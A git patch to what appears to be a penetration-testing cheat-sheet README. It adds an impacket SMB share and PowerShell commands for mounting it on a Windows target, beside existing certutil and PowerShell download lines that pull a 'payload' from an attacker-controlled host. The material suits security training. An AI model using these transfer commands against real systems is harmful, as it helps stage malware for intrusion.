From b5a93259dcf924124fc14c7cf4562255967ba79b Mon Sep 17 00:00:00 2001
From: Joe Totes <59018247+Totes5706@users.noreply.github.com>
Date: Mon, 5 Sep 2022 20:09:57 -0400
Subject: [PATCH] Update README.md
---
README.md | 14 ++++++++++++--
1 file changed, 12 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index d1a4126..6fe3fc9 100644
--- a/README.md
+++ b/README.md
@@ -1347,7 +1347,7 @@ username=admin$password=FUZZ
***
-#### [STEP 1] Python Server on Client
+#### [STEP 1] Server on Client
@@ -1360,6 +1360,10 @@ username=admin$password=FUZZ
sudo python3 -m http.server {PORT}
# {PORT}: Port to open for file transfer
+
+
+# SMB SHARE
+impacket-smbserver temp $(pwd) -smb2support -user {USERNAME} -password {PASSWORD}
```
@@ -1389,7 +1393,13 @@ certutil -split -f -urlcache http://{IP ADDRESS}/{FILE}
# Windows - Download file using powershell
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')"
-# {IP ADDRESS}: IP Address of the client from step one (python server)
+# SMB SHARE
+$pass = convertto-securestring '{PASSWORD}' -AsPlainText -Force
+$cred = New-Object System.Management.Automation.PSCredential('{USERNAME}', $pass)
+New-PSDrive -Name tempdrive -PSProvider FileSystem -Credential $cred -Root \\{IP ADDRESS}\temp
+cd tempdrive:
+
+# {IP ADDRESS}: IP Address of the client from step one
# {FILE}: The payload to be transferred
```